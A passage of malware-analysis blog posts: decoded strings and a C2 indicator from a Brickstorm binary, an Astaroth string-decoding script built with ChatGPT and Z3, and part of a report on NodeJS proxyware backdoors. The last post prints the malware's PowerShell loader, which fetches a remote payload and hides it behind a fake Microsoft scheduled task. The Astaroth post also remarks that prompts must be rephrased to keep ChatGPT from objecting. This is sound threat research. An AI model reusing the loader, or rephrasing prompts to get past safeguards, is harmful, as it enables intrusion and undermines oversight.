tls: failed to create cipher while encrypting ticket: '
tls.ConnectionState doesn\'t match'
qtls.ClientSessionState doesn't match"
qtls.CertificateRequestInfo doesn't match"
CONNECTION_REFUSED'
FLOW_CONTROL_ERROR'
STREAM_LIMIT_ERROR'
STREAM_STATE_ERROR'
INVALID_TOKEN'
APPLICATION_ERROR"
CRYPTO_BUFFER_EXCEEDED'
NO_VIABLE_PATH'
CRYPTO_ERROR (%#x)'
unknown error code: %#x'
 (frame type: %#x)'
Application error %#x"
timeout: handshake did not complete in time'
no compatible QUIC version found (we support %s, server offered %s)"
received a stateless reset with token %x'
unsupported version'
invalid first ACK range'
invalid packet number length: %d'
invalid connection ID length: %d bytes'
invalid connection ID length: %d bytes'
invalid packet number length: %d'
unknown frame type'
%s not allowed at encryption level %s'
unknown encryption level'
not a QUIC packet'
{Largest: %d, Smallest: %d}"
t%s &wire.MaxDataFrame{MaximumData: %d}'
t%s &wire.MaxStreamDataFrame{StreamID: %d, MaximumStreamData: %d}'
t%s &wire.DataBlockedFrame{MaximumData: %d}'
t%s &wire.StreamDataBlockedFrame{StreamID: %d, MaximumStreamData: %d}'
t%s &wire.MaxStreamsFrame{Type: uni, MaxStreamNum: %d}'
t%s &wire.MaxStreamsFrame{Type: bidi, MaxStreamNum: %d}"
t%s &wire.StreamsBlockedFrame{Type: uni, MaxStreams: %d}'
t%s &wire.StreamsBlockedFrame{Type: bidi, MaxStreams: %d}'
t%s &wire.NewTokenFrame{Token: %#x}'
%d exceeds the maximum stream count"
Retire Prior To value (%d) larger than Sequence Number (%d)'
invalid connection ID length: %d'
invalid connection ID length: %d'
token must not be empty'
wire.PutStreamFrame called with packet of wrong size!"
stream data overflows maximum offset'
StreamFrame: attempting to write empty frame without FIN'
%d exceeds the maximum stream count"
remaining length (%d) smaller than parameter length (%d)'
client sent a preferred_address"
wrong length for disable_active_migration: %d (expected empty)"
client sent a stateless_reset_token'
wrong length for stateless_reset_token: %d (expected 16)"
client sent an original_destination_connection_id"
client sent a retry_source_connection_id'
missing original_destination_connection_id'
missing initial_source_connection_id'
received duplicate transport parameter %#x'
invalid connection ID length: %d"
expected preferred_address to be %d long, read %d bytes'
inconsistent transport parameter length for transport parameter %#x'
initial_max_streams_bidi too large: %d (maximum %d)'
initial_max_streams_uni too large: %d (maximum %d)"
invalid value for max_packet_size: %d (minimum 1200)'
invalid value for ack_delay_exponent: %d (maximum %d)'
invalid value for max_ack_delay: %dms (maximum %dms)'
TransportParameter BUG: transport parameter %d not found'
unknown transport parameter marshaling version: %d'
RetrySourceConnectionID: %s, '
Version Negotiation packet has empty version list'
Version Negotiation packet has a version list with an invalid length"
operation not permitted"
no such process'
interrupted system call'
input/output error'
argument list too long'
exec format error'
bad file descriptor'
no child processes'
resource temporarily unavailable"
cannot allocate memory"
permission denied'
bad address'
block device required'
device or resource busy'
file exists'
no such device'
not a directory'
is a directory'
too many open files in system'
too many open files'
inappropriate ioctl for device"
text file busy'
file too large'
no space left on device'
illegal seek'
read-only file system'
too many links'
broken pipe'
numerical argument out of domain'
numerical result out of range'
file name too long"
no locks available"
function not implemented'
ENOTEMPTY'
directory not empty'
too many levels of symbolic links'
identifier removed'
channel number out of range'
level 3 halted'
level 3 reset"
link number out of range"
protocol driver not attached"
level 2 halted'
exchange full'
invalid request code"
invalid slot'
bad font file format'
device not a stream"
no data available'
timer expired'
out of streams resources'
machine is not on the network'
package not installed'
link has been severed"
advertise error'
srmount error'
communication error on send"
protocol error'
EMULTIHOP'
multihop attempted'
RFS specific error'
bad message'
EOVERFLOW"
value too large for defined data type'
file descriptor in bad state'
remote address changed"
can not access a needed shared library'
accessing a corrupted shared library'
.lib section in a.out corrupted'
invalid or incomplete multibyte or wide character'
interrupted system call should be restarted'
too many users'
EDESTADDRREQ'
destination address required'
protocol wrong type for socket"
ENOPROTOOPT'
protocol not available'
EPROTONOSUPPORT'
protocol not supported'
ESOCKTNOSUPPORT'
operation not supported'
EPFNOSUPPORT'
protocol family not supported'
EAFNOSUPPORT'
address family not supported by protocol'
EADDRINUSE'
address already in use'
EADDRNOTAVAIL"
cannot assign requested address'
ENETUNREACH'
network is unreachable'
ENETRESET'
network dropped connection on reset'
ECONNABORTED"
software caused connection abort'
ECONNRESET'
connection reset by peer"
transport endpoint is already connected'
ESHUTDOWN"
cannot send after transport endpoint shutdown'
ETOOMANYREFS'
too many references: cannot splice'
ETIMEDOUT'
connection timed out'
ECONNREFUSED"
connection refused'
EHOSTDOWN"
host is down'
EHOSTUNREACH'
EINPROGRESS'
stale file handle'
structure needs cleaning'
not a XENIX named type file'
no XENIX semaphores available'
is a named type file'
EREMOTEIO'
disk quota exceeded'
ENOMEDIUM'
no medium found'
EMEDIUMTYPE'
wrong medium type'
ECANCELED'
operation canceled'
key has expired'
EKEYREVOKED'
key has been revoked'
EKEYREJECTED'
key was rejected by service'
EOWNERDEAD'
owner died'
ENOTRECOVERABLE'
state not recoverable'
operation not possible due to RF-kill"
EHWPOISON'
memory page has hardware error'
interrupt'
illegal instruction'
trace/breakpoint trap'
bus error'
floating point exception'
user defined signal 1'
segmentation fault"
user defined signal 2'
broken pipe'
alarm clock'
terminated'
SIGSTKFLT'
stack fault'
child exited"
continued'
stopped (tty input)'
stopped (tty output)'
urgent I/O condition'
CPU time limit exceeded'
file size limit exceeded"
SIGVTALRM'
virtual timer expired'
profiling timer expired'
I/O possible'
power failure"
bad system call'
not implemented on '
unknown connection type'
short message'
invalid address'
short address'
short address'
destination unreachable'
packet too big"
time exceeded'
parameter problem'
echo request'
echo reply'
multicast listener query'
router solicitation'
router advertisement'
neighbor solicitation'
neighbor advertisement'
icmp node information query'
icmp node information response'
home agent address discovery request message'
home agent address discovery reply message"
certification path solicitation message'
certification path advertisement message'
multicast router advertisement"
multicast router solicitation'
multicast router termination'
fmipv6 messages'
rpl control message"
ilnpv6 locator update message'
mpl control message'
extended echo request'
extended echo reply'
invalid connection'
missing address'
not implemented on '
echo reply'
destination unreachable'
router advertisement'
router solicitation'
time exceeded'
parameter problem'
timestamp'
timestamp reply'
extended echo reply'
invalid connection'
missing address'
nil header'
not implemented on "
congestion BUG: decreased max datagram size from %d to %d'
received packet with unknown encryption level: %s'
Cannot drop keys for encryption level %s'
unexpected encryption level'
tIgnoring all packets below %d.'
tQueueing ACK because the first packet should be acknowledged.'
tQueueing ACK because packet %d was missing before."
tSetting ACK timer to max ack delay: %s'
tQueuing ACK because there's a new missing packet to report."
Sending ACK because the ACK timer expired.'
pto (Initial)'
pto (Handshake)'
pto (Application Data)'
invalid send mode: %d'
negative bytes_in_flight'
Cannot drop keys for encryption level %s'
invalid packet number space'
Peer doesn't await address validation any longer."
received an ACK for skipped packet number: %d (%s)'
tnewly acked packets (%d): %d'
Canceling loss detection timer. Amplification limited.'
Canceling loss detection timer. No packets in flight.'
tlost packet %d (reordering threshold)"
tsetting loss timer for packet %d (%s) to %s (in %s)'
Loss detection alarm fired in loss timer mode. Loss time: %s'
Loss detection alarm for %s fired in PTO mode. PTO count: %d'
PTO timer in unexpected encryption level: %s"
Amplification window limited. Received %d bytes, already sent out %d bytes'
Limited by the number of tracked packets: tracking %d packets, maximum %d'
Congestion limited: bytes in flight %d, window %d"
Max outstanding limited: tracking %d packets, maximum: %d'
no frames'
packet %d not found in sent packet history'
CryptoSetup: keys at this encryption level not yet available'
CryptoSetup: keys were already dropped'
decryption failed'
ClientHello'
ServerHello'
Certificate'
CertificateRequest'
CertificateVerify'
Received %s message (%d bytes, encryption level: %s)"
missing quic_transport_parameters extension"
unexpected handshake message: %d'
expected handshake message %s to have encryption level %s, has %s"
Restoring of transport parameters from session ticket failed: %s'
mismatching version. Got %d, expected %d"
Unmarshalling transport parameters from session ticket failed: %s'
Accepting 0-RTT. Restoring RTT from session ticket: %s"
error while handling the handshake message'
error while handling the handshake message"
Received 0-RTT read key for the client'
Installed 0-RTT Read keys (using %s)'
Installed Handshake Read keys (using %s)'
Installed 1-RTT Read keys (using %s)'
unexpected read encryption level'
Received 0-RTT write key for the server'
Installed 0-RTT Write keys (using %s)"
Installed Handshake Write keys (using %s)'
Installed 1-RTT Write keys (using %s)"
Dropping 0-RTT keys.'
unexpected write encryption level'
Doing 0-RTT.'
Dropping Initial keys.'
Dropping Handshake keys.'
Dropping 0-RTT keys.'
Invalid cipher suite id: %d"
error creating new AES cipher: %s"
invalid sample size'
invalid sample size'
quic: HKDF-Expand-Label invocation failed unexpectedly'
client in'
server in"
unexpected Retry integrity tag length: %d"
failed to read session ticket revision'
unknown session ticket revision: %d"
failed to read RTT'
unmarshaling transport parameters from session ticket failed: %s"
rest when unpacking token: %d"
token too short: %d"
quic-go token source'
Dropping key phase %d ahead of scheduled time. Drop time was: %s'
Starting key drop timer to drop key phase %d (in %s)'
unknown cipher suite %d"
Dropping key phase %d'
keys updated too quickly'
Peer updated keys to %d'
Peer confirmed key update to phase %d'
received ACK for key phase %d, but peer didn't update keys"
Initiating key update to key phase %d'
received %d bytes for the connection, allowed %d bytes'
Increasing receive flow control window for the connection to %d kB'
flow controller reset after reading data'
received inconsistent final offset for stream %d (old: %d, new: %d bytes)'
Increasing receive flow control window for stream %d to %d kB'
duplicate stream data'
0-RTT rejected'
too many open streams'
negative packetBuffer refCount"
packetBuffer refCount not zero'
putPacketBuffer called with packet of wrong size!'
Received %d packets after sending CONNECTION_CLOSE. Retransmitting."
Error retransmitting CONNECTION_CLOSE: %s'
invalid value for Config.MaxIncomingStreams'
retired connection ID %d (highest issued: %d)'
received conflicting connection IDs for sequence number %d'
received conflicting stateless reset tokens for sequence number %d'
expected first connection ID to have sequence number 0'
expected first connection ID to have sequence number 0'
Activating reading of ECN bits for IPv4 and IPv6.'
Activating reading of ECN bits for IPv4.'
Activating reading of ECN bits for IPv6."
activating ECN failed for both IPv4 and IPv6'
Activating reading of packet info for IPv4 and IPv6.'
activating packet info failed for both IPv4 and IPv6'
received invalid offset %d on crypto stream, maximum allowed %d'
received crypto data after change of encryption level'
encryption level changed, but crypto stream has more data to read"
received CRYPTO frame with unexpected encryption level: %s'
Discarding DATAGRAM frame (%d bytes payload)'
stream %d canceled with error code %d'
too many gaps in received data'
no gap found'
no gap found"
frame sorter BUG: read position higher than a gap'
cannot use different stateless reset keys on the same packet conn'
cannot use different tracers on the same packet conn'
failed to determine receive buffer size: %w'
Conn has receive buffer of %d kiB (wanted: at least %d kiB)'
failed to increase receive buffer size: %w'
failed to determine receive buffer size: %w'
failed to increase receive buffer size (wanted: %d kiB, got %d kiB)'
Increased receive buffer size to %d kiB'
Not adding connection ID %s, as it already exists."
Adding connection ID %s.'
Not adding connection ID %s for a new session, as it already exists."
Adding connection IDs %s and %s for a new session.'
Removing connection ID %s after it has been retired.'
Replacing session for connection ID %s with a closed session."
Removing connection ID %s for a closed session after it has been retired.'
Temporary error reading from conn: %w'
error parsing connection ID on packet from %s: %s"
received a packet with an unexpected connection ID %s'
Received a stateless reset with token %#x. Closing session.'
Sending stateless reset to %s (connection ID: %s). Token: %#x'
Error sending Stateless Reset: %s'
an\'t determine encryption level'
unknown encryption level'
unexpected encryption level: %s'
PacketPacker BUG: packet too large (%d bytes, allowed %d bytes)'
packetPacker BUG: Peeked and Popped packet numbers do not match'
unknown packet type: %s'
Packet too small. Expected at least 20 bytes after the header, got %d'
BUG: readPosInFrame (%d) > frame.DataLen (%d) in stream.Read"
Read on stream %d canceled with error code %d'
STREAM frames are handled with their respective streams.'
unexpected encryption level: %s'
sendQueue.Send would have blocked'
numOutStandingFrames negative'
close called for canceled stream %d'
%s is not a valid QUIC version'
Listening for %s connections on %s"
server closed'
Dropping packet from %s (%d bytes). Server receive queue full.'
Dropping Version Negotiation packet.'
Error parsing packet: %s'
misrouted packet: %#v'
Dropping a packet that is too small to be a valid Initial (%d bytes)"
Dropping long header packet of type %s (%d bytes)'
<- Received Initial packet.'
Error occurred handling initial packet: %s'
too short connection ID'
Error sending INVALID_TOKEN error: %s'
Error sending Retry: %s"
Error rejecting connection: %s'
Changing connection ID to %s.'
Changing connection ID to %s.'
Client sent an invalid retry token. Sending INVALID_TOKEN to %s.'
Client offered version %s, sending Version Negotiation'
Error composing Version Negotiation: %s'
Error sending Version Negotiation: %s'
closing session in order to recreate it"
Sending a keep-alive PING to keep the connection alive.'
Connection %s closed.'
error parsing packet: %s'
Dropping packet with version %x. Expected %x.'
coalesced packet has different destination connection ID: %s, expected %s'
Parsed a coalesced packet. Part %d: %d bytes. Remaining: %d bytes."
Dropping %s packet (%d bytes) because we already dropped the keys.'
Dropping %s packet (%d bytes) that could not be unpacked. Error: %s"
<- Reading packet %d (%d bytes) for connection %s, %s"
Dropping (potentially) duplicate packet.'
Ignoring Retry.'
Ignoring Retry, since we already received a packet.'
Ignoring Retry, since a Retry was already received.'
gnoring spoofed Retry. Integrity Tag doesn\'t match.'
<- Received Retry:'
Switching destination connection ID to: %s'
Error parsing Version Negotiation packet: %s'
Received a Version Negotiation packet. Supported Versions: %s'
No compatible QUIC version found.'
Switching to QUIC version %s.'
empty packet"
Received first packet. Switching destination connection ID to: %s'
unexpected PATH_RESPONSE frame'
received a HANDSHAKE_DONE frame'
DATAGRAM frame too large"
Destroying session: %s'
Destroying session with error: %s'
Peer closed session with error: %s'
Error sending CONNECTION_CLOSE: %s'
Restoring Transport Parameters: %s"
Processed Transport Parameters: %s'
expected initial_source_connection_id to equal %s, is %s'
expected original_destination_connection_id to equal %s, is %s'
missing retry_source_connection_id'
expected retry_source_connection_id to equal %s, is %s"
received retry_source_connection_id, although no Retry was performed'
session BUG: couldn't pack %s probe packet"
session BUG: unspecified error type (msg: %s)'
-> Sending coalesced packet (%d parts, %d bytes) for connection %s'
-> Sending packet %d (%d bytes) for connection %s, %s"
-> Sending packet %d (%d bytes) for connection %s, %s'
shouldn't queue undecryptable packets after handshake completion"
Dropping undecryptable packet (%d bytes). Undecryptable packet queue full."
deadline exceeded'
peer attempted to open receive stream %d'
peer attempted to open send stream %d'
tried to delete unknown incoming stream %d'
tried to delete incoming stream %d multiple times'
tried to delete unknown incoming stream %d'
tried to delete incoming stream %d multiple times'
peer attempted to open stream %d'
tried to delete unknown outgoing stream %d'
peer attempted to open stream %d'
tried to delete unknown outgoing stream %d'
RSA PRIVATE KEY'
CERTIFICATE'
1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
127.0.0.1:0'
127.0.0.2:0'
conn closed'
conn closed"
endpoint i/o timeout'
UpdateConnState"
implement me'
6ba7b810-9dad-11d1-80b4-00c04fd430c8'
6ba7b811-9dad-11d1-80b4-00c04fd430c8"
6ba7b812-9dad-11d1-80b4-00c04fd430c8'
6ba7b814-9dad-11d1-80b4-00c04fd430c8'
invalid UUID (got %d bytes)'
invalid UUID length: %d'
urn:uuid:'
invalid urn prefix: %q'
invalid UUID format'
invalid UUID format'
invalid UUID format"
read timeout'
write timeout'
unreachable'
conn closed'
TimeDeadline'
already closed'
127.0.0.2:'
127.0.0.1:'
not found %s'
i/o deadline reached'
stream closed'
unexpected flag'
remote end is not accepting connections'
keepalive timeout'
backlog must be positive'
keep-alive interval must be positive'
MaxStreamWindowSize must be larger than %d'
both Logger and LogOutput may not be set, select one'
one of Logger or LogOutput must be set, select one'
unhandled state'
[ERR] yamux: unexpected FIN flag in state %d'
[ERR] yamux: Failed to read stream data: %v'
[ERR] yamux: aborted stream open without inflight syn semaphore'
[ERR] yamux: aborted stream open (destination=%s): %v'
[ERR] yamux: keepalive failed: %v'
[ERR] yamux: Failed to write header: %v'
reset by peer'
[ERR] yamux: Failed to read header: %v"
[ERR] yamux: Invalid protocol version: %d"
[WARN] yamux: Discarding data for stream: %d'
[ERR] yamux: Failed to discard data: %v'
[WARN] yamux: frame for missing stream: %v'
[WARN] yamux: failed to send go away: %v'
[WARN] yamux: failed to send go away: %v'
[WARN] yamux: failed to send ping reply: %v'
[ERR] yamux: received protocol error go away'
yamux protocol error'
[ERR] yamux: received internal error go away"
remote yamux internal error'
[ERR] yamux: received unexpected go away"
unexpected go away received'
[ERR] yamux: duplicate stream declared"
[WARN] yamux: failed to send go away: %v'
[WARN] yamux: backlog exceeded, forcing connection reset'
[ERR] yamux: SYN tracking out of sync'
Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d'
stream id overflows, should start a new connection"
operation would block on IO'
unsupported protocol version'
keep-alive interval must be positive'
keep-alive timeout must be larger than keep-alive interval"
max frame size must be positive'
max frame size must not be larger than 65535'
max receive buffer must be positive'
max stream buffer must be positive'
max stream buffer must not be larger than max receive buffer'
max stream buffer cannot be larger than 2147483647"
allocator Put() incorrect buffer size'
both channel are nil'
ALL_PROXY'
all_proxy'
connection forbidden'
network unreachable'
TTL expired'
command not supported'
websocket: close sent"
websocket: read limit exceeded'
websocket: write timeout'
websocket: bad write message type'
websocket: write closed"
websocket: invalid control frame'
websocket: bad handshake'
websocket: invalid compression negotiation'
malformed ws or wss URL'
websocket: internal error, unexpected bytes at end of flate stream'
proxy: unknown scheme: '
proxy: no support for SOCKS5 proxy connections of type '
proxy: failed to parse port number: '
proxy: port number out of range: '
proxy: failed to write greeting to SOCKS5 proxy at '
proxy: failed to read greeting from SOCKS5 proxy at '
proxy: SOCKS5 proxy at '
 has unexpected version '
proxy: SOCKS5 proxy at '
 requires authentication'
proxy: failed to write authentication request to SOCKS5 proxy at '
proxy: failed to read authentication reply from SOCKS5 proxy at '
proxy: SOCKS5 proxy at "
 rejected username/password'
proxy: destination host name too long: '
proxy: failed to write connect request to SOCKS5 proxy at "
proxy: failed to read connect reply from SOCKS5 proxy at "
unknown error'
proxy: SOCKS5 proxy at '
 failed to connect: '
proxy: failed to read domain length from SOCKS5 proxy at '
proxy: got unknown address type '
 from SOCKS5 proxy at '
proxy: failed to read address from SOCKS5 proxy at '
Sec-Websocket-Extensions'
websocket: close '
 (normal)'
 (going away)'
 (protocol error)'
 (unsupported data)"
 (no status)'
 (abnormal closure)"
 (invalid payload data)'
 (policy violation)'
 (message too big)'
 (mandatory extension missing)'
 (internal server error)'
 (TLS handshake error)'
websocket: internal error, extra used in client mode'
concurrent write to websocket connection"
concurrent write to websocket connection'
unexpected reserved bits 0x'
message start before final message frame"
continuation after final message frame'
unknown opcode '
incorrect mask flag"
invalid close code'
invalid utf8 payload in close frame'
websocket: "
repeated read on failed websocket connection'
websocket: internal error, unexpected text or binary in Reader'
websocket'
Connection'
Sec-WebSocket-Key'
Sec-WebSocket-Version'
Sec-WebSocket-Protocol'
Connection'
Sec-Websocket-Key'
Sec-Websocket-Version'
Sec-Websocket-Extensions'
Sec-Websocket-Protocol'
websocket: duplicate header not allowed: "
Sec-Websocket-Protocol"
Sec-WebSocket-Protocol'
Sec-WebSocket-Extensions'
permessage-deflate; server_no_context_takeover; client_no_context_takeover"
websocket'
Connection'
Sec-Websocket-Accept"
permessage-deflate'
Proxy-Authorization'
socks connect'
socks bind'
succeeded'
general SOCKS server failure'
connection not allowed by ruleset'
network unreachable'
TTL expired'
command not supported'
nil context'
nil context'
network not implemented'
command not implemented'
username/password authentication failed'
unsupported authentication method '
too many authentication methods'
unexpected protocol version '
no acceptable authentication methods"
unknown address type'
FQDN too long'
unexpected protocol version '
unknown error '
non-zero reserved field'
unknown address type '
ALL_PROXY'
all_proxy'
failed to dial: %s'
User-Agent'
User-Agent'
failed to dial %s:%s, Err:%s"
method is not allowed'
no matching route was found'
mux: duplicated route variable %q'
mux: path must start with a slash, got %q'
mux: missing name or pattern in %q'
%s(?P<%s>%s)'
mux: unbalanced braces in %q'
mux: unbalanced braces in %q'
nil pointer to error encoder'
/WindowsDriver/'
invalid range: failed to overlap"
127.0.0.1:0"
Content-Type'
text/html; charset=utf-8'
ailed: %s\n"
uploadFile"
ailed: %s\n'
rror: %s\n'
re>up over\n%s sha256sum: %x\n

'
%s

\n'
Error reading directory'
Content-Type"
text/html; charset=utf-8'
style=\'text-decoration: none;\' href="%s">

..

\n'
a style='text-decoration: none;'>

now at: %s

\n"
otal %d\n'
Content-Type'
seeker can't seek"
Content-Type'
Content-Range'
bytes */%d'
Content-Range'
Content-Type'
multipart/byteranges; boundary="
Accept-Ranges'
If-Unmodified-Since"
If-None-Match'
If-Modified-Since'
Last-Modified'
Content-Type"
Content-Length'
Last-Modified"
/index.html'
Last-Modified'
404 page not found'
403 Forbidden'
bytes %d-%d/%d'
Content-Range'
Content-Type'
invalid range"
invalid range'
invalid range'
invalid range"
invalid range'
unsupported'
/dev/ptmx'
/dev/pts/'
wss://natsupport[.]net/api'
/opt/vmware/vpostgres/current/bin/pg_update'
/usr/sbin'
rpclistener'
/usr/sbin/rpclistener'
exit status 121"
f\xff'
(empty)'
%x'
Initial'
0'
1'
Server'
Client'
Initial'
'
'
'
cpu."
\n'
on'
\n'
\n'
avx512'
avx512f"
bmi1'
bmi2'
erms'
popcnt'
rdrand'
rdseed"
sse3'
)'
*'
.'
derived'
derived'
.'
derived'
derived'
tls13 '
: '
->'
, '
t%s %#v"
ENOENT'
ENOEXEC'
ECHILD'
EAGAIN'
ENOMEM'
EACCES"
EFAULT'
ENOTBLK'
EEXIST'
ENOTDIR"
EISDIR'
EINVAL'
EMFILE'
ENOTTY'
ETXTBSY'
ENOSPC'
ESPIPE'
EMLINK'
EDOM'
ERANGE'
EDEADLK'
ENOLCK'
ENOSYS'
ENOMSG'
ECHRNG'
EL3HLT'
EL3RST'
ELNRNG'
EUNATCH'
ENOCSI'
ENOANO"
EBADSLT'
EBFONT'
ENOSTR'
ENODATA'
ENONET'
ENOPKG'
EREMOTE'
EADV'
ESRMNT"
EPROTO'
EDOTDOT'
EBADMSG'
EREMCHG'
ELIBACC'
ELIBBAD'
ELIBSCN'
ELIBMAX'
EILSEQ'
EUSERS'
ENOBUFS'
EUCLEAN'
ENOTNAM'
ENAVAIL'
EISNAM'
ENOKEY'
ERFKILL'
SIGHUP'
hangup'
SIGINT'
SIGQUIT'
quit'
SIGILL'
SIGTRAP'
SIGABRT"
aborted'
SIGBUS'
SIGFPE'
SIGKILL'
killed'
SIGUSR1'
SIGSEGV"
SIGUSR2'
SIGPIPE'
SIGALRM"
SIGTERM'
SIGCHLD'
SIGCONT'
SIGSTOP'
stopped'
SIGTTIN'
SIGTTOU'
SIGURG'
SIGXCPU'
SIGXFSZ'
SIGPROF'
SIGPWR'
SIGSYS'
solaris'
netbsd'
openbsd'
/'
recvmsg'
android'
illumos'
windows'
tcp6'
udp6'
/'
/'
read'
none'
quic hp'
quic hp'
tls13 '
quic ku'
'
'
server'
init'
suspend'
none'
null'
server'
cc|)'
exit'
Remove'
closed'
timeout'
\xff'
socks5'
tcp4'
: '
: '
: '
: '
: '
: '
: '
: '
"'
;'
='
: '
:'
]'
http'
Upgrade'
13'
, '
Host'
Upgrade'
upgrade'
http'
:'
Basic '
CONNECT"
'
socks '
tcp4'
Origin'
smux'
http'
socks5'
/'
/'
/'
/'
:'
[/]?'
='
:'
='
='
&;'
v'
/'
/'
/'
&'
<'
>'
>'
"'
%v'
%v'
/'
Post'
/api'
windows'
/'
/'
pre>\n'
/'
/pre>\n'
%.2fMB'
%.2fGB'
%.2fTB'
%.2fEB'
HEAD'
W/'
W/'
W/'
Etag'
Etag'
Etag'
Etag'
./'
/'
/'
/'
/'
bytes='
,'
-'
nil EOF'
/'
# '
'
exit'
cd'
n'
nil EOF'
/bin/sh'
-c'
nil EOF'
ICMP'
n'
'
'
/'
:'
SETENV1'
SETENV2'
true'
TERM'
USER'
PATH'
TERM'
USER'
true'
PATH'

IOCs

wss://natsupport[.]net/api

References

1: https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign

2: https://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries

3: https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html

4: https://github.com/burrowers/garble

Decoding Brickstorms Garble strings was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Utilizing ChatGPT for Decoding Astaroth Strings

Jason Reaves — Mon, 24 Nov 2025 15:48:50 GMT

By: Jason Reaves

In this blog I want to demonstrate a scenario that I run into occasionally as a Reverse Engineer. There are plenty of excellent write-ups on Astaroth from a technical perspective[1,2] so I decided to utilize existing analysis and leverage ChatGPT[5] for aiding in analysis of a binary sample.

The sample below was primarily leveraged to turn existing work into a script that leverages a SMT[6] to find the key for the string decoding instead of relying on recovering the key from the binary:

d3737da15c3439efd0aecf0492573c81bb24d25c6ce510da6da048cee671e3d7

It’s good when using others research to verify the same code patterns, in this case I used their work to quickly map out the relevant decrypt functions in the binary:

Now I take the code from both blogs and use that info to combine them into a single function based primarily on the Acronis blog code:

def decode(s):
    #decrypt
    key = b"XYQMDOW8"
    s = bytes.fromhex(s)
    out1 = b""
    for i in range(1, len(s)):
        k = s[i - 1]
        b = s[i]
        a = b ^ key[(i - 1) % len(key)]
        if a > k:
            a = a - k
        else:
            a = a + 255 - k
        out1 += bytes([a & 0xff])

    #decrypt2
    out2 = b""
    for c in out1[::-1]:
        c = ~(c - 0x0A) & 0xFF
        out2 += bytes([c])

    #decrypt3
    key = out2[0] - 0x41
    out3 = b""
    for i in range(1, len(out2), 2):
        c = out2[i + 1] - 0x41 + ((out2[i] - 0x41) * 25) - key - 0x64
        out3 += bytes([c & 0xFF])

    return out3

I noticed when questioning ChatGPT you have to be slightly cognizant of the phrasing else ChatGPT will get stuck in a cycle of complaining about cryptanalysis.

After inputting the code, ChatGPT expected the input and output mentioned previously:

Next it dumps out the code with the additional Z3 functionality:

Running the code out of the box gave an incorrect key:

 % python3 chatgpt.py 
Z3 check: sat
Recovered key (raw bytes): b'x9QMDOW8'
Recovered key (ASCII): x9QMDOW8

So, a character constraint is added based on known keys:

allowed_vals = [ord(c) for c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"]
charset_constraints = [Or([key[i] == v for v in allowed_vals]) for i in range(len(key))]
solver.add(charset_constraints)

This gives us the correct key:

% python3 chatgpt.py
Z3 check: sat
Recovered key (raw bytes): b'XYQMDOW8'
Recovered key (ASCII): XYQMDOW8

In this blog[2] there is also listed more strings we can try that are using a different key so we can test further:

decode((int)L"87647C0D8B7C0AE3F2E8F0961FDF", &JoeBox, a1, a2, a3);// JoeBox

s_hex = "87647C0D8B7C0AE3F2E8F0961FDF"
expected_out3 = b"JoeBox"

% python3 chatgpt.py
Z3 check: sat
Recovered key (raw bytes): b'XY7F85HH'
Recovered key (ASCII): XY7F85HH

Close but let’s try a different string that is longer:

s_hex = "726B7210966F1AEFF99801F4F295602EB9D9C0B335C0B55C48A5"
expected_out3 = b"HookExplorer"

% python3 chatgpt.py
Z3 check: sat
Recovered key (raw bytes): b'XY7F852V'
Recovered key (ASCII): XY7F852V

That one produced the correct key so it looks like we would probably need two known strings to then test the produced key against or we just need to focus on specific length strings and loop through them looking for potential keys for other samples.

References

1: https://www.acronis.com/en/tru/posts/astaroth-unleashed/

2: https://github.com/purplededa/Astaroth---Malware-Analysis-Report?tab=readme-ov-file

3: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/astaroth-banking-trojan-abusing-github-for-resilience/

4: https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth

5: https://chatgpt.com/

6: https://github.com/Z3Prover/z3

Utilizing ChatGPT for Decoding Astaroth Strings was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

NodeJS backdoors delivering proxyware and monetization schemes

Jason Reaves — Mon, 22 Sep 2025 18:08:48 GMT

By: Jason Reaves

The delivery of proxyware apps, the campaigns and the NodeJS malware we go through in this report has been talked about by researchers at AhnLab[2,3,4] who have been doing an excellent job of tracking the campaigns. Our aim then with this report is to expand a bit and show some more pieces of the chain such as the tasks and c2 communications while doing some pivoting attempts and during out investigation we found multiple proxyware apps linked to the distributiong including Infatica, Honeygain, earnFM and PacketLab.

EXE Loader:

5766b8c67ec6dafe346140debbe7d8190221ebbcd6e333ec062ed87ff4d07273

Inno setup:

Inno Setup Setup Data (6.3.0)

The installer script will drop a hardcoded powershell file and setup the creation of the nodejs folder that will be used later:

\tp.ps1
{localappdata}\Microsoft SDKs\Nodejs

Downloading the NodeJs package along with a script to detonate, detonation is then performed by setting up a scheduled task

$nodeUrl = "hxxps://nodejs[.]org/dist/v20.8.0/node-v20.8.0-win-x64.zip"
$jsUrl = "hxxps://filerit[.]com/n9ea882bfa.js"
$nodePath = "{localappdata}\Microsoft SDKs\Nodejs"
if (-Not (Test-Path -Path "$nodePath\node-v20.8.0-win-x64")){
    New-Item -ItemType Directory -Path "$nodePath\node-v20.8.0-win-x64" -Force
} else {
    Remove-Item "$nodePath\node-v20.8.0-win-x64" -Recurse -Force -ErrorAction SilentlyContinue
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $nodeUrl -OutFile "$nodePath\nodejs.zip"
Expand-Archive -Path "$nodePath\nodejs.zip" -DestinationPath $nodePath
Remove-Item -Path "$nodePath\nodejs.zip"
$filename = [guid]::NewGuid()
Invoke-WebRequest -Uri $jsUrl -OutFile "$nodePath\node-v20.8.0-win-x64\$filename.js"
Rename-Item "$nodePath\node-v20.8.0-win-x64\$filename.js" "$nodePath\node-v20.8.0-win-x64\$filename"
attrib +h +s "$nodePath\node-v20.8.0-win-x64"
$exeTaskXml = @"


  
    Microsoft Corporation
    Check Nodejs updates
    \Microsoft\Windows\SDK\Nodejs Update
  
  
    
      InteractiveToken
    
  
  
    false
    false
    true
    IgnoreNew
    
      true
      false
    
  
  
    
      $(Get-Date -Format "yyyy-MM-ddTHH:mm:ss")
      
        PT1H
        P1D
      
      
        1
      
    
  
  
    
      "$nodePath\node-v20.8.0-win-x64\node.exe"
